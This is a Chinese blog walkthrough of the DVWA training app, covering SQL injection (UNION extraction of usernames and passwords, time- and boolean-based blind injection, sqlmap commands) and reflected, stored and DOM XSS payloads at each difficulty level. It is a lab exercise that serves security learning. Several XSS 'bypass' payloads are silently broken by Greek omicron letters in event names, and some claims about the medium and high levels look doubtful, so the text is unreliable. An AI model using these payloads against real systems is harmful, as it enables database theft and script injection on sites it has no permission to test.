Dvwa渗透测试指南(下)

一、SQL注入(SQL Injection)

DVWA将SQL注入分为两类:SQL Injection 和 SQL Injection (Blind)。以下是对这两种注入的各个难度级别(低、中、高)的详细步骤。

1. SQL Injection
低级别(Low)
  1. 判断是否存在注入,以及注入类型
    输入:

    ' OR '1'='1
    

    结果: 返回多个结果,存在字符型注入。

  2. 猜测SQL查询语句中的字段数
    输入:

    1' OR 1=1 ORDER BY 1 #
    1' OR 1=1 ORDER BY 2 #
    1' OR 1=1 ORDER BY 3 #
    

    结果: ORDER BY 3 查询失败,表示有2个字段。

  3. 确定显示的字段位置
    输入:

    1' UNION SELECT 1,2 #
    

    结果: 页面显示 12,表示这两个字段可以显示数据。

  4. 获取当前数据库
    输入:

    1' UNION SELECT 1, database() #
    

    结果: 显示当前数据库的名称。

  5. 获取表名
    输入:

    1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database() #
    

    结果: 显示当前数据库中的表名。

  6. 获取列名
    输入:

    1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' #
    

    结果: 显示表 users 中的列名。

  7. 获取用户数据
    输入:

    1' UNION SELECT user, password FROM users #
    

    结果: 显示 usernamepassword 列中的数据。

中级别(Medium)
1. 判断注入是否有效
  1. 使用抓包工具:

    • 使用 Burp Suite 或者浏览器扩展 HTTPFoxFiddler 等抓包工具,拦截你在DVWA中提交的请求。
  2. 抓包步骤:

    • 在输入框中输入一个任意值,例如 1,然后点击提交按钮。
    • 抓包工具会拦截这个HTTP请求,查看请求参数,比如:
      GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
      Host: [DVWA_URL]
      
  3. 修改请求:

    • 修改请求中的参数值,将其替换为注入语句,例如:
      GET /vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit HTTP/1.1
      Host: [DVWA_URL]
      
    • 发送修改后的请求。
    • 结果: 如果注入成功,服务器将返回多个结果,表明SQL注入有效。
2. 猜测SQL查询语句中的字段数
  • 抓包并修改参数,输入以下内容:
    GET /vulnerabilities/sqli/?id=1' OR 1=1 ORDER BY 1-- -&Submit=Submit HTTP/1.1
    
  • 依次增加 ORDER BY 后的数字,直到查询失败。例如:
    GET /vulnerabilities/sqli/?id=1' OR 1=1 ORDER BY 2-- -&Submit=Submit HTTP/1.1
    GET /vulnerabilities/sqli/?id=1' OR 1=1 ORDER BY 3-- -&Submit=Submit HTTP/1.1
    
  • 结果: 当查询失败时,比如在 ORDER BY 3 失败,表示SQL查询语句中有两个字段。
3. 确定显示的字段位置
  1. 使用抓包工具:
    修改请求,输入:
    GET /vulnerabilities/sqli/?id=1' UNION SELECT 1,2-- -&Submit=Submit HTTP/1.1
    
    结果: 页面显示两个位置被替换为数字 12,表示这两个字段可以显示数据。
4. 获取当前数据库
  1. 使用抓包工具:
    修改请求,输入:
    GET /vulnerabilities/sqli/?id=1' UNION SELECT 1, database()-- -&Submit=Submit HTTP/1.1
    
    结果: 页面显示当前数据库的名称。
5. 获取表名
  1. 使用抓包工具:
    修改请求,输入:
    GET /vulnerabilities/sqli/?id=1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database()-- -&Submit=Submit HTTP/1.1
    
    结果: 页面将显示当前数据库中的所有表名。
6. 获取列名
  1. 使用抓包工具:
    假设你发现了一个表名为 users,修改请求,输入:
    GET /vulnerabilities/sqli/?id=1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'-- -&Submit=Submit HTTP/1.1
    
    结果: 页面将显示 users 表中的所有列名。
7. 获取用户数据
  1. 使用抓包工具:
    假设找到了 users 表中的列名为 usernamepassword,修改请求,输入:
    GET /vulnerabilities/sqli/?id=1' UNION SELECT username, password FROM users-- -&Submit=Submit HTTP/1.1
    
    结果: 页面将显示所有用户名和密码。
高级别(High)
1. 测试基本SQL注入
  1. 直接输入:
    SQL Injection 页面中的输入框中输入:

    ' OR '1'='1
    

    结果: 通常会返回查询失败,因为高级别下会对输入进行严格过滤,防止简单的注入。

  2. 预处理语句的影响:

    • 在高级别中,DVWA可能使用了预处理语句,这意味着用户输入的任何特殊字符(如 '";)都会被视为文本数据,而不会影响SQL查询的结构。这使得传统SQL注入无效。
2. 使用盲注
  • 盲注(Blind SQL Injection) 可能仍然有效,但需要更多的时间和技巧来获取数据,因为无法直接看到查询的结果。高级别可能没有直接显示错误信息,利用以下方式进行盲注测试:
  1. 时间盲注(Time-Based Blind Injection):
    在输入框中输入以下语句,观察页面响应时间:

    1' AND IF(1=1, SLEEP(5), 0) #
    

    结果: 如果页面延迟了5秒,说明注入成功,表示存在盲注。

    继续使用时间盲注获取数据,例如获取数据库名称的第一个字符:

    1' AND IF(SUBSTRING((SELECT DATABASE()), 1, 1) = 'd', SLEEP(5), 0) #
    

    解释: 通过逐个猜测字符并观察响应时间,可以推断出数据库名称、表名、列名等信息。

  2. 布尔盲注(Boolean-Based Blind Injection):
    在输入框中输入:

    1' AND (SELECT 'a'='a') #
    

    结果: 页面正常显示,表示注入有效。
    进一步尝试:

    1' AND (SELECT 'a'='b') #
    
    • 结果: 页面显示与之前不同,表明可以利用布尔盲注来判断查询条件是否为真。
3. 使用工具自动化测试
  • 在高级别SQL注入中,手工注入变得非常困难。此时,可以使用一些自动化工具,如 sqlmap,尝试检测并利用SQL注入。
  1. 使用 sqlmap
    使用抓包工具(如Burp Suite)获取DVWA请求的完整URL,然后将其用于 sqlmap 命令:

    sqlmap -u "http://[DVWA_URL]/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=high"
    

    选项:

    • -u:目标URL
    • --cookie:包含登录后的会话ID和DVWA的安全级别(设置为高)
      结果: sqlmap 将尝试不同的注入方式,包括盲注、基于时间的注入等,自动化获取数据。
  2. 获取数据库信息:
    在成功检测到SQL注入后,可以继续使用 sqlmap 提取数据库信息,例如:

    sqlmap -u "http://[DVWA_URL]/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=high" --dbs
    

    结果: sqlmap 将列出数据库名称。

2. SQL Injection (Blind)
低级别(Low)
  1. 判断是否存在盲注
    输入:

    1' AND SLEEP(5) #
    

    结果: 页面延迟5秒,表示存在SQL盲注。

  2. 布尔盲注
    输入:

    1' AND 1=1 #
    1' AND 1=2 #
    

    结果: 根据返回结果判断查询是否成功。

  3. 猜测数据库名称
    输入:

    1' AND (SELECT database())='dvwa' #
    

    结果: 返回不同的页面,表示数据库名称为 dvwa

中级别(Medium)
  1. 判断是否存在盲注
    输入:

    1' AND IF(1=1, SLEEP(5), 0) #
    

    结果: 延迟5秒,表示注入成功。

  2. 布尔盲注
    结果: 通过修改布尔条件推断出数据。

高级别(High)
  1. 尝试盲注
    结果: 使用盲注很难成功,需要使用高级工具如 sqlmap

二、XSS(跨站脚本攻击)

DVWA将XSS分为三类:XSS (Reflected)、XSS (Stored)、XSS (DOM)。

1. XSS (Reflected)
低级别(Low)
  1. 测试XSS注入
    输入:
    <script>alert('Reflected XSS')</script>
    
    结果: 页面弹出 “Reflected XSS”。
中级别(Medium)

尝试绕过

  • 输入:
    <img src=x onerror="alert('Reflected XSS')">
    
  • 结果: 弹出对话框。
高级别(High)
  1. 高级绕过
    • 输入:
      <svg/οnlοad=alert('Reflected XSS')>
      
    结果: 如果成功显示弹框,则绕过过滤。
2. XSS (Stored)
低级别(Low)
  1. 存储XSS
    输入:
    <script>alert('Stored XSS')</script>
    
    结果: 存储并在页面显示。
中级别(Medium)
  1. 绕过
    输入:
    <img src=x onerror="alert('Stored XSS')">
    
    结果: 存储并在页面显示。
高级别(High)
  1. 高级绕过
    输入:
    <svg/οnlοad=alert('Stored XSS')>
    
    结果: 如果成功显示弹框,则绕过。
3. XSS (DOM)
低级别(Low)
  1. 测试DOM XSS
    在URL中输入:
    http://[DVWA_URL]/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script>
    
    结果: 弹出 “DOM XSS”。
中级别(Medium)
  1. 尝试绕过
    输入:
    http://[DVWA_URL]/vulnerabilities/xss_d/?default=<img src=x οnerrοr=alert('DOM XSS')>
    
    结果: 页面弹出对话框。
高级别(High)
  1. 高级绕过
    输入:
    http://[DVWA_URL]/vulnerabilities/xss_d/?default=<svg/οnlοad=alert('DOM XSS')>
    
    结果: 如果成功显示弹框,则绕过过滤。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值